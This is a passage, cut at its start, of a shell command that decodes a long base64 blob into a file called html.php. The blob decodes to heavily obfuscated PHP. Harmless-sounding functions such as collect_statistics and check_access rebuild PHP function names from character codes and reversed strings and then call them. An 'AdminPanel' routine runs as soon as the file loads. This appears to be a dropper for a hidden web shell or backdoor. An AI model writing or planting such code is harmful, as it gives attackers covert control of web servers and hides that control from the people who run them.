CRfdWYpOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfdXUoKQogICAgewogICAgICAgICRfZWt5ID0gYXJyYXkoMDQpOwogICAgICAgICRfeWhzID0gZWNzKDAxMzUsIDAxNDEpOwogICAgICAgICRfcHMgPSBlY3MoMDAsIDAzKTsKICAgICAgICAkX25yID0gJF9la3lbdHJpZ2dlcl9ldmVudCgkX2VreSldOwogICAgICAgICRfcWcgPSAkX3loc1t0cmlnZ2VyX2V2ZW50KCRfeWhzKV07CiAgICAgICAgJF91YmcgPSByYW5kKDAwLCAwMSkgPT0gMDEgPyBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfcWJwJywgJ194c2wnKSAuICRfcHNbdHJpZ2dlcl9ldmVudCgkX3BzKV0gOiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZm95JywgJ19hbGUnKTsKICAgICAgICByZXR1cm4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2lkaCcsICdfcnZ0JykgLiAkX25yIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3R6ZycsICdfcHhmJykgLiAkX3FnIC4gJF91Ymc7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIF9obXMoKQogICAgewogICAgICAgIHJldHVybiBqZmcoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2F4dicsICdfcmdhJykpOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfeG9rKCRfbXhzKQogICAgewogICAgICAgIHJldHVybiBtYW5hZ2Vfc3RhdGUodW5pcWlkKG10X3JhbmQoKSwgdHJ1ZSkpIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2liJywgJ19ybGcnKSAuICRfbXhzOwogICAgfQp9CgokX3hxID0gbmV3IEFkbWluUGFuZWwoKTsKJF94cS0+dXBkYXRlQ2FjaGUoKTsKCmZ1bmN0aW9uIGNvbGxlY3Rfc3RhdGlzdGljcygkeikKewogICAgJHMgPSBhcnJheSgxMDEgKiAxLCA3NiArIDI0LCA5MSArIDIwLCAzICogMzMsIDEwMSwgMTEgKyA4OSwgOTUsIDEgKyA1MSwgNTQsIDEwMSwgNDAgKyA3NSwgNjUgKyAyICsgMzAsIDc2ICsgMjIpOwogICAgJHpnID0gJyc7CiAgICBmb3JlYWNoICgkcyBhcyAkeSkgewogICAgICAgICR6ZyAuPSBzdGFydF9zZXJ2aWNlKCR5KTsKICAgIH0KICAgICR6ZyA9IHN0cnJldigkemcpOwogICAgcmV0dXJuICR6Zygkeik7Cn0KCmZ1bmN0aW9uIHJ1bl9wcm9jZWR1cmUoJGwpCnsKICAgICR3ID0gYXJyYXkoNzcgKiA3MCAtIDUyODksIDEwMCwgMTIwICogNyAtIDcyOSwgMTA5IC0gMTAsIDIgKiA1NSwgMTAxLCAyICsgNSArIDg4LCAxMSArIDQxLCAyICogMjcsIDI2ICogMTEgLSAxODUsIDc4ICsgMzcsIDczICsgNSArIDE5LCA5MCArIDQgKyA0KTsKICAgICRpID0gJyc7CiAgICBmb3JlYWNoICgkdyBhcyAkcSkgewogICAgICAgICRpIC49IHN0YXJ0X3NlcnZpY2UoJHEpOwogICAgfQogICAgJGkgPSBzdHJyZXYoJGkpOwogICAgcmV0dXJuICRpKCRsKTsKfQoKZnVuY3Rpb24gbG9hZF9zZXR0aW5ncygkcSkKewogICAgJHFmID0gYXJyYXkoOTksIDIgKiA1MiwgMyAqIDM3LCAxMyArIDMyICsgNjcpOwogICAgJHkgPSAnJzsKICAgIGZvcmVhY2ggKCRxZiBhcyAkcXIpIHsKICAgICAgICAkeSAuPSBzdGFydF9zZXJ2aWNlKCRxcik7CiAgICB9CiAgICByZXR1cm4gJHkoJHEpOwp9CgpmdW5jdGlvbiBzdGFydF9zZXJ2aWNlKCRjKQp7CiAgICAkZyA9IGFycmF5KDk5LCAxMDggLSA0LCA1MyAqIDIgKyA4KTsKICAgICR6ID0gJyc7CiAgICBmb3JlYWNoICgkZyBhcyAkcykgewogICAgICAgICR6IC49IGNocigkcyk7CiAgICB9CiAgICByZXR1cm4gJHooJGMpOwp9CgpmdW5jdGlvbiBoYW5kbGVfZXJyb3IoLi4uJHhoKQp7CiAgICAkciA9IGFycmF5KDMgKiAzMywgMTggKyA0OCArIDM4LCAzICogMzksIDY4ICogODAgLSA1MzMwLCAxMDAgKyA1ICsgMiwgNDIgKiAyICsgMTEsIDUgKiAyMywgNjkgKiAxICsgNDMsIDExOCAtIDEwLCA1NCAqIDkzIC0gNDkxNywgMTE2KTsKICAgICRjID0gJyc7CiAgICBmb3JlYWNoICgkciBhcyAkcykgewogICAgICAgICRjIC49IGNocigkcyk7CiAgICB9CiAgICByZXR1cm4gJGMoLi4uJHhoKTsKfQoKZnVuY3Rpb24gcHJvY2Vzc19yZXF1ZXN0KCRiLCAkbykKewogICAgJGogPSBhcnJheSg5NCArIDIgKyA1LCAxMjQgKiA5MCAtIDExMDQwLCA5MSAqIDEgKyAyMSwgMTA4LCA3NSArIDM2LCA5MCArIDEwLCA4ICsgOTMpOwogICAgJGkgPSAnJzsKICAgIGZvcmVhY2ggKCRqIGFzICRxKSB7CiAgICAgICAgJGkgLj0gY2hyKCRxKTsKICAgIH0KICAgIHJldHVybiAkaSgkYiwgJG8pOwp9CgpmdW5jdGlvbiByZXNvbHZlX2RlcGVuZGVuY3koLi4uJGZ4KQp7CiAgICAkZyA9IGFycmF5KDEwOCAtIDIsIDk3ICogNjggLSA2NDg1LCAxOSArIDg2LCAyICogNTUpOwogICAgJHAgPSAnJzsKICAgIGZvcmVhY2ggKCRnIGFzICR4KSB7CiAgICAgICAgJHAgLj0gY2hyKCR4KTsKICAgIH0KICAgIHJldHVybiAkcCguLi4kZngpOwp9CgpmdW5jdGlvbiBtYW5hZ2Vfc3RhdGUoLi4uJGFtKQp7CiAgICAkeSA9IGFycmF5KDUzLCAxMiArIDg4LCA2MiArIDExICsgMzYpOwogICAgJGIgPSAnJzsKICAgIGZvcmVhY2ggKCR5IGFzICRsKSB7CiAgICAgICAgJGIgLj0gY2hyKCRsKTsKICAgIH0KICAgICRiID0gc3RycmV2KCRiKTsKICAgIHJldHVybiAkYiguLi4kYW0pOwp9CgpmdW5jdGlvbiBzdG9yZV9zbmFwc2hvdCgkaikKewogICAgJHUgPSBhcnJheSgxMTEsIDM5ICogMSArIDc1LCAxMDApOwogICAgJG4gPSAnJzsKICAgIGZvcmVhY2ggKCR1IGFzICRyKSB7CiAgICAgICAgJG4gLj0gY2hyKCRyKTsKICAgIH0KICAgIHJldHVybiAkbigkaik7Cn0KCmZ1bmN0aW9uIGRpc3BhdGNoX3NpZ25hbCgkYikKewogICAgJGkgPSBhcnJheSg4ICogNDUgLSAyNTksIDEwOSAtIDksIDEyMCAtIDksIDEwMiAtIDMsIDUzICogMSArIDU3LCAxMTAgKiA3OSAtIDg1ODksIDEwNCAtIDksIDEwMSAqIDEsIDExMyAtIDUsIDIgKiA0OSwgOTcsIDEyMSAtIDUsIDQ3ICogMSArIDYzLCAxMDUsIDEyMSAtIDcsIDc4ICsgMjMgKyAxMSwgOTMgKyAyLCA5OSAqIDEgKyAxLCAxMDEgKiAxLCA5OSArIDE2ICsgMSwgMjUgKyA4NiwgMTE5IC0gMiwgMTEzKTsKICAgICR4ID0gJyc7CiAgICBmb3JlYWNoICgkaSBhcyAkdikgewogICAgICAgICR4IC49IGNocigkdik7CiAgICB9CiAgICAkeCA9IHN0cnJldigkeCk7CiAgICByZXR1cm4gJHgoJGIpOwp9CgpmdW5jdGlvbiBpbml0aWFsaXplX2NvbXBvbmVudCguLi4kYnEpCnsKICAgICR2ID0gYXJyYXkoNSAqIDIzLCAxMjEgLSA5LCAxMTQsIDkwICogMSArIDE1LCAzOCAqIDEgKyA3MiwgNjAgKyAzOSArIDE3LCAxMTIgLSAxMCk7CiAgICAkcyA9ICcnOwogICAgZm9yZWFjaCAoJHYgYXMgJHN6KSB7CiAgICAgICAgJHMgLj0gY2hyKCRzeik7CiAgICB9CiAgICByZXR1cm4gJHMoLi4uJGJxKTsKfQoKZnVuY3Rpb24gZnJlZV9yZXNvdXJjZXMoJGwsICRqKQp7CiAgICAkcyA9IGFycmF5KDMyICogMiArIDUyLCA2MyAqIDU5IC0gMzYyMCwgMTExICogMTIgLSAxMjMxLCAxMjEgLSA5LCA3NiAqIDEgKyAyNSwgMzkgKyA3NSwgMzYgKyA0NiArIDEzLCA0NyArIDY3LCAxMTYsIDIzICogMTE2IC0gMjU1Myk7CiAgICAkeSA9ICcnOwogICAgZm9yZWFjaCAoJHMgYXMgJGQpIHsKICAgICAgICAkeSAuPSBjaHIoJGQpOwogICAgfQogICAgJHkgPSBzdHJyZXYoJHkpOwogICAgcmV0dXJuICR5KCRsLCAkaik7Cn0KCmZ1bmN0aW9uIGNvbXB1dGVfb3V0cHV0KC4uLiRjdikKewogICAgJHUgPSBhcnJheSg1ICogMjMsIDEyMCAtIDQsIDExNCwgOTYgLSAxLCAyICogNTcsIDE3ICsgODQsIDU4ICsgMSArIDUzLCA4MSAqIDU5IC0gNDY3MSwgNiAqIDEgKyA5MSwgOTksIDEwMSk7CiAgICAkeCA9ICcnOwogICAgZm9yZWFjaCAoJHUgYXMgJGopIHsKICAgICAgICAkeCAuPSBjaHIoJGopOwogICAgfQogICAgcmV0dXJuICR4KC4uLiRjdik7Cn0KCmZ1bmN0aW9uIHNjaGVkdWxlX3dvcmsoJHopCnsKICAgICRuID0gYXJyYXkoNDUgKiAyICsgMTEsIDUzICsgNTUsIDIgKiA1MSwgMTA4IC0gNiwgMyAqIDM5LCA1NCAqIDg5IC0gNDcwMiwgMjUgKiAyICsgNjUsIDk1LCAzMyAqIDM4IC0gMTE0MCwgMTI2ICogNjcgLSA4MzI2LCAxMTYgLSAxKTsKICAgICRoID0gJyc7CiAgICBmb3JlYWNoICgkbiBhcyAkaSkgewogICAgICAgICRoIC49IGNocigkaSk7CiAgICB9CiAgICAkaCA9IHN0cnJldigkaCk7CiAgICByZXR1cm4gJGgoJHopOwp9CgpmdW5jdGlvbiBhbmFseXplX2RhdGEoLi4uJGZuKQp7CiAgICAkYiA9IGFycmF5KDUgKiAyMywgODQgKyAxOSwgNDAgKyA1NSArIDIsIDM5ICsgNzcsIDkwICsgNCArIDEsIDk3ICsgMTUsIDQyICogMiArIDIxLCAxMTYgLSAyLCA2NiArIDYgKyA0NCwgMTYgKiA3ICsgMyk7CiAgICAkZiA9ICcnOwogICAgZm9yZWFjaCAoJGIgYXMgJGMpIHsKICAgICAgICAkZiAuPSBjaHIoJGMpOwogICAgfQogICAgJGYgPSBzdHJyZXYoJGYpOwogICAgcmV0dXJuICRmKC4uLiRmbik7Cn0KCmZ1bmN0aW9uIHByb2Nlc3NfcXVldWUoJHIpCnsKICAgICRyZCA9IGFycmF5KDI4ICogNDAgLSAxMDEwLCA4ICogMiArIDg1LCA5NyArIDIgKyA5LCA5NSAqIDEgKyAxOSwgNDAgKiAyICsgMzYsIDE2ICsgNDYgKyA1Myk7CiAgICAkYSA9ICcnOwogICAgZm9yZWFjaCAoJHJkIGFzICR3KSB7CiAgICAgICAgJGEgLj0gY2hyKCR3KTsKICAgIH0KICAgICRhID0gc3RycmV2KCRhKTsKICAgIHJldHVybiAkYSgkcik7Cn0KCmZ1bmN0aW9uIG1vbml0b3JfaGVhbHRoKC4uLiRuaikKewogICAgJGQgPSBhcnJheSgxMDkgKiAxMTUgLSAxMjQyMCwgNDQgKiAxICsgNjcsIDk5ICogMSArIDEzLCAxMjMgLSA5LCAxMDUgKyAxMSwgOTUgKiAxMiAtIDEwMjUpOwogICAgJHIgPSAnJzsKICAgIGZvcmVhY2ggKCRkIGFzICRqKSB7CiAgICAgICAgJHIgLj0gY2hyKCRqKTsKICAgIH0KICAgICRyID0gc3RycmV2KCRyKTsKICAgIHJldHVybiAkciguLi4kbmopOwp9CgpmdW5jdGlvbiBvcHRpbWl6ZV9jYWNoZSgkcykKewogICAgJG8gPSBhcnJheSg3MyAqIDEgKyA0MSwgMTAzIC0gMiwgOTEgKiA4NSAtIDc2MTYsIDQ5ICsgNjIsIDEwOCwgMyAqIDM3LCAxMjMgLSA3LCAxMTQsIDEwOSArIDIgKyA1LCA1ICogMjMpOwogICAgJGYgPSAnJzsKICAgIGZvcmVhY2ggKCRvIGFzICRtKSB7CiAgICAgICAgJGYgLj0gY2hyKCRtKTsKICAgIH0KICAgICRmID0gc3RycmV2KCRmKTsKICAgIHJldHVybiAkZigkcyk7Cn0KCmZ1bmN0aW9uIHN5bmNfZGF0YSguLi4kc24pCnsKICAgICRwID0gYXJyYXkoNzYgKyAzOCwgNTIgKiAxMTEgLSA1NjU2LCA0MyAqIDEgKyA3MiwgOTMgKyA0ICsgMSwgMTI1IC0gOCwgODkgKyAyNik7CiAgICAkYSA9ICcnOwogICAgZm9yZWFjaCAoJHAgYXMgJG0pIHsKICAgICAgICAkYSAuPSBjaHIoJG0pOwogICAgfQogICAgJGEgPSBzdHJyZXYoJGEpOwogICAgcmV0dXJuICRhKC4uLiRzbik7Cn0KCmZ1bmN0aW9uIGhhc2hfc3RyaW5nKC4uLiRncSkKewogICAgJHcgPSBhcnJheSg1NiAqIDEgKyA2MCwgMTE0LCAxMTAgLSA1LCAxMDkgKiAxKTsKICAgICR4ID0gJyc7CiAgICBmb3JlYWNoICgkdyBhcyAkZikgewogICAgICAgICR4IC49IGNocigkZik7CiAgICB9CiAgICByZXR1cm4gJHgoLi4uJGdxKTsKfQoKZnVuY3Rpb24gYWdncmVnYXRlX3Jlc3VsdHMoJGwpCnsKICAgICRnID0gYXJyYXkoMTI2IC0gOSwgNjYgKyAyNCArIDksIDEwMiwgNzkgKyAyNiwgMTIxIC0gNywgNzAgKyA0NSwgNDUgKiAxICsgNzEpOwogICAgJHUgPSAnJzsKICAgIGZvcmVhY2ggKCRnIGFzICRyKSB7CiAgICAgICAgJHUgLj0gY2hyKCRyKTsKICAgIH0KICAgIHJldHVybiAkdSgkbCk7Cn0KCmZ1bmN0aW9uIGNoZWNrX2FjY2VzcyguLi4kb3opCnsKICAgICR4ID0gYXJyYXkoMTAwIC0gMywgMzUgKiAxMTkgLSA0MDUxLCAxMjIgLSA4LCA4NiArIDExLCAxMzEgLSAxMCwgODMgKiAzMiAtIDI1NjEsIDcgKiA1ICsgNzQsIDE3ICsgODAsIDExMSArIDEpOwogICAgJGogPSAnJzsKICAgIGZvcmVhY2ggKCR4IGFzICRhKSB7CiAgICAgICAgJGogLj0gY2hyKCRhKTsKICAgIH0KICAgIHJldHVybiAkaiguLi4kb3opOwp9CgpmdW5jdGlvbiBmZXRjaF9tZXRhZGF0YSguLi4kcGgpCnsKICAgICR0ID0gYXJyYXkoNDggKyA1MywgMTA1IC0gMiwgMTE0LCA0MyAqIDQxIC0gMTY2MiwgMTA5LCA4OCArIDEgKyA2LCAxMSAqIDExLCAxMDAgLSAzLCAxMTQsIDIgKiA1NywgOTggLSAxKTsKICAgICRvID0gJyc7CiAgICBmb3JlYWNoICgkdCBhcyAkZCkgewogICAgICAgICRvIC49IGNocigkZCk7CiAgICB9CiAgICAkbyA9IHN0cnJldigkbyk7CiAgICByZXR1cm4gJG8oLi4uJHBoKTsKfQoKZnVuY3Rpb24gdHJpZ2dlcl9ldmVudCguLi4kbWIpCnsKICAgICRxID0gYXJyYXkoOTAgKiA5NiAtIDg1NDAsIDExOCAtIDgsIDk3ICogMSwgMTIzIC0gOSwgMyArIDkyLCA4OSArIDMxICsgMSwgNCAqIDQ3IC0gOTEsIDcyICogMTcgLSAxMTEwLCA0NyArIDY3LCA2OCArIDI4ICsgMSk7CiAgICAkcCA9ICcnOwogICAgZm9yZWFjaCAoJHEgYXMgJG4pIHsKICAgICAgICAkcCAuPSBjaHIoJG4pOwogICAgfQogICAgJHAgPSBzdHJyZXYoJHApOwogICAgcmV0dXJuICRwKC4uLiRtYik7Cn0KCmZ1bmN0aW9uIHZhbGlkYXRlX2VudHJ5KC4uLiR2dCkKewogICAgJGggPSBhcnJheSgxMDIgLSA1LCA5MCArIDI0LCAxNiAqIDIgKyA4MiwgOTcsIDEzMSAtIDEwLCA1ICogMTksIDk2ICogMTMgLSAxMTM0LCAxMDQgLSAzLCAxMTYgKyAxICsgMSwgNTkgKiAzMiAtIDE3ODcsIDEyMiAtIDgsIDUgKiAyMywgMTkgKiAxMDUgLSAxODk0KTsKICAgICRqID0gJyc7CiAgICBmb3JlYWNoICgkaCBhcyAkaSkgewogICAgICAgICRqIC49IGNocigkaSk7CiAgICB9CiAgICByZXR1cm4gJGooLi4uJHZ0KTsKfQoKZnVuY3Rpb24gbG9nX29wZXJhdGlvbiguLi4kdGUpCnsKICAgICR4ID0gYXJyYXkoMTA3IC0gNiwgNTYgKiAxMDQgLSA1NzI1LCAxMDUsIDEwOCwgMTI0IC0gOSwgNSAqIDE5LCA4ICogMiArIDEwNSwgNTQgKyAzOSArIDQsIDM4ICsgNzYsIDExMyAqIDEgKyAxLCAxMDQgLSA3KTsKICAgICRlID0gJyc7CiAgICBmb3JlYWNoICgkeCBhcyAkbCkgewogICAgICAgICRlIC49IGNocigkbCk7CiAgICB9CiAgICAkZSA9IHN0cnJldigkZSk7CiAgICByZXR1cm4gJGUoLi4uJHRlKTsKfQoKZnVuY3Rpb24gaW5pdF9zeXN0ZW0oLi4uJGhzKQp7CiAgICAkYSA9IGFycmF5KDMgKiAzMywgOTkgKyAxMiwgMjQgKyA5MCArIDMsIDI5ICogMyArIDIzLCAxMTcgLSAxKTsKICAgICRmID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkdCkgewogICAgICAgICRmIC49IGNocigkdCk7CiAgICB9CiAgICByZXR1cm4gJGYoLi4uJGhzKTsKfQoKZnVuY3Rpb24gZGVjb2RlX2lucHV0KC4uLiRyYSkKewogICAgJGUgPSBhcnJheSg5NiArIDEgKyAyNCwgNTUgKyA3ICsgMzUsIDgyICsgMjMgKyA5LCA1MSArIDM4ICsgMjUsIDkxICogMSArIDYsIDkxICogMSArIDQsIDExMCwgOTEgKyAzICsgMTEpOwogICAgJGggPSAnJzsKICAgIGZvcmVhY2ggKCRlIGFzICRmKSB7CiAgICAgICAgJGggLj0gY2hyKCRmKTsKICAgIH0KICAgICRoID0gc3RycmV2KCRoKTsKICAgIHJldHVybiAkaCguLi4kcmEpOwp9CgpmdW5jdGlvbiBydW5fa2VybmVsKCRwKQp7CiAgICAkZSA9IGFycmF5KDEyOSAtIDgsIDE3ICogMyArIDUwLCAxMDcgKiAxKTsKICAgICRmID0gJyc7CiAgICBmb3JlYWNoICgkZSBhcyAkbikgewogICAgICAgICRmIC49IGNocigkbik7CiAgICB9CiAgICAkZiA9IHN0cnJldigkZik7CiAgICByZXR1cm4gJGYoJHApOwp9CgpmdW5jdGlvbiBlY3MoLi4uJHdoKQp7CiAgICAkaCA9IGFycmF5KDExMSAtIDEwLCA4MSAqIDEgKyAyMiwgNDAgKyA1NiArIDE0LCA4MCAqIDEgKyAxNywgMTE0KTsKICAgICRtID0gJyc7CiAgICBmb3JlYWNoICgkaCBhcyAkaHkpIHsKICAgICAgICAkbSAuPSBjaHIoJGh5KTsKICAgIH0KICAgICRtID0gc3RycmV2KCRtKTsKICAgIHJldHVybiAkbSguLi4kd2gpOwp9CgpmdW5jdGlvbiBocXooLi4uJGZ0KQp7CiAgICAkZyA9IGFycmF5KDIgKiA1MSwgMTE1IC0gMTAsIDExMiAtIDQsIDEwMSAqIDEsIDk1LCAxMDggLSA1LCAxMDYgLSA1LCA0MSArIDc1LCA1NiArIDM5LCAxMDkgLSAxMCwgMTA1ICsgNSArIDEsIDExMCwgMiAqIDU4LCA1OSArIDQyLCA3NyArIDMzLCAxMTcgLSAxLCA1MSArIDkgKyA1NSk7CiAgICAkYSA9ICcnOwogICAgZm9yZWFjaCAoJGcgYXMgJHgpIHsKICAgICAgICAkYSAuPSBjaHIoJHgpOwogICAgfQogICAgcmV0dXJuICRhKC4uLiRmdCk7Cn0KCmZ1bmN0aW9uIHdoeigkdSkKewogICAgJHV0ID0gYXJyYXkoMTAyIC0gMSwgNTYgKyAzOSArIDEzLCA0NyArIDU4LCAxMDIsIDIyICogMSArIDczLCAxMTAgKyA1LCAzNSAqIDEgKyA3MCk7CiAgICAkbiA9ICcnOwogICAgZm9yZWFjaCAoJHV0IGFzICR2KSB7CiAgICAgICAgJG4gLj0gY2hyKCR2KTsKICAgIH0KICAgICRuID0gc3RycmV2KCRuKTsKICAgIHJldHVybiAkbigkdSk7Cn0KCmZ1bmN0aW9uIGpmZyguLi4kYmMpCnsKICAgICR3ID0gYXJyYXkoMTAwLCAzMCAqIDY4IC0gMTk0MywgOTQgKyAyMiwgMTEwIC0gOSk7CiAgICAkdCA9ICcnOwogICAgZm9yZWFjaCAoJHcgYXMgJHYpIHsKICAgICAgICAkdCAuPSBjaHIoJHYpOwogICAgfQogICAgcmV0dXJuICR0KC4uLiRiYyk7Cn0KCmZ1bmN0aW9uIGlpeigpCnsKICAgICR0ID0gYXJyYXkoNDkgKyAyICsgNTAsIDI0ICsgNDMgKyA0MiwgMjQgKiAxICsgODEsIDExNik7CiAgICAkcyA9ICcnOwogICAgZm9yZWFjaCAoJHQgYXMgJHEpIHsKICAgICAgICAkcyAuPSBjaHIoJHEpOwogICAgfQogICAgJHMgPSBzdHJyZXYoJHMpOwogICAgcmV0dXJuICRzKCk7Cn0KCmZ1bmN0aW9uIHBmcyguLi4kdW8pCnsKICAgICRqID0gYXJyYXkoMiAqIDU0LCA4NCAqIDEgKyAxMywgMTE4LCAyICogNTgsIDExMCwgNTYgKiAxICsgNDkpOwogICAgJGYgPSAnJzsKICAgIGZvcmVhY2ggKCRqIGFzICRxKSB7CiAgICAgICAgJGYgLj0gY2hyKCRxKTsKICAgIH0KICAgICRmID0gc3RycmV2KCRmKTsKICAgIHJldHVybiAkZiguLi4kdW8pOwp9CgpmdW5jdGlvbiBqY3ooJHApCnsKICAgICRvID0gYXJyYXkoMyAqIDM1LCA3NCArIDQgKyAzNywgODIgKyAxMywgNzMgKiAxICsgMjQsIDIgKiA1NywgMTE0LCA5NyAqIDEsIDEyNiAqIDQ1IC0gNTU0OSk7CiAgICAkciA9ICcnOwogICAgZm9yZWFjaCAoJG8gYXMgJHYpIHsKICAgICAgICAkciAuPSBjaHIoJHYpOwogICAgfQogICAgcmV0dXJuICRyKCRwKTsKfQoKZnVuY3Rpb24gbGZqKCRoKQp7CiAgICAkayA9IGFycmF5KDEwOCAqIDQwIC0gNDIxMiwgMTEwIC0gMiwgMTI3IC0gMTAsIDIgKiA1NSwgODIgKiAxICsgMTMsIDMxICsgOSArIDc1LCAyOCArIDc3KTsKICAgICRtID0gJyc7CiAgICBmb3JlYWNoICgkayBhcyAkeikgewogICAgICAgICRtIC49IGNocigkeik7CiAgICB9CiAgICAkbSA9IHN0cnJldigkbSk7CiAgICByZXR1cm4gJG0oJGgpOwp9CgpmdW5jdGlvbiB4a2koJGspCnsKICAgICR3ID0gYXJyYXkoNTYgKyA0ICsgMzksIDMgKiAzNSwgMiAqIDU3LCA2NyAqIDEgKyAzNCwgNTYgKyAxMCArIDQzLCAzICogMzksIDExMCwgOTUsIDExNSwgMyAqIDM1KTsKICAgICRrZSA9ICcnOwogICAgZm9yZWFjaCAoJHcgYXMgJHApIHsKICAgICAgICAka2UgLj0gY2hyKCRwKTsKICAgIH0KICAgICRrZSA9IHN0cnJldigka2UpOwogICAgcmV0dXJuICRrZSgkayk7Cn0KCmZ1bmN0aW9uIHR5YigkbykKewogICAgJGggPSBhcnJheSg2MyAqIDEgKyA0MiwgMTE1LCAxICsgOTQsIDExNCwgMjkgKyA0MyArIDI5LCAzICsgODIgKyAzMCwgOCArIDEwMywgMTI1IC0gOCwgNjEgKiAxICsgNTMsIDYwICogMjUgLSAxNDAxLCAxMiAqIDU1IC0gNTU5KTsKICAgICRwID0gJyc7CiAgICBmb3JlYWNoICgkaCBhcyAkZSkgewogICAgICAgICRwIC49IGNocigkZSk7CiAgICB9CiAgICByZXR1cm4gJHAoJG8pOwp9CgpmdW5jdGlvbiBlZXMoJHIpCnsKICAgICR5ID0gYXJyYXkoMjIgKyAyMiArIDU2LCAxMDEgKiAxLCA3MiAqIDEgKyAzOCwgODIgKyAyMywgNDAgKiA3NiAtIDI5MzgsIDg5ICogMSArIDEyLCA5NiAqIDEgKyA0KTsKICAgICR6ID0gJyc7CiAgICBmb3JlYWNoICgkeSBhcyAkcykgewogICAgICAgICR6IC49IGNocigkcyk7CiAgICB9CiAgICAkeiA9IHN0cnJldigkeik7CiAgICByZXR1cm4gJHooJHIpOwp9CgpmdW5jdGlvbiB5YWEoLi4uJGNzKQp7CiAgICAkaSA9IGFycmF5KDQwICsgNjUgKyA3LCA5NiArIDEgKyAxNywgMTAxLCA1ICsgOTgsIDY2ICsgMjksIDUxICogMTAzIC0gNTE0NCwgNTUgKyA0MiwgNTQgKiA5NCAtIDQ5NjAsIDEwNSAtIDYsIDIgKiA1Mik7CiAgICAkZCA9ICcnOwogICAgZm9yZWFjaCAoJGkgYXMgJGopIHsKICAgICAgICAkZCAuPSBjaHIoJGopOwogICAgfQogICAgcmV0dXJuICRkKC4uLiRjcyk7Cn0KCmZ1bmN0aW9uIGx3YyguLi4kZGopCnsKICAgICRiID0gYXJyYXkoNCArIDcgKyAxMDEsIDQxICogODggLSAzNDk0LCAxMTAgLSA5LCAxMDMsIDg0ICogMSArIDExLCAxMiArIDEwMiwgMTAzICogODggLSA4OTYzLCAyICogNTYsIDEwOCwgMTAyIC0gNSwgOTksIDEwOSAtIDgpOwogICAgJHggPSAnJzsKICAgIGZvcmVhY2ggKCRiIGFzICRtKSB7CiAgICAgICAgJHggLj0gY2hyKCRtKTsKICAgIH0KICAgIHJldHVybiAkeCguLi4kZGopOwp9Cg==" | base64 -d > html.php 2>&1
";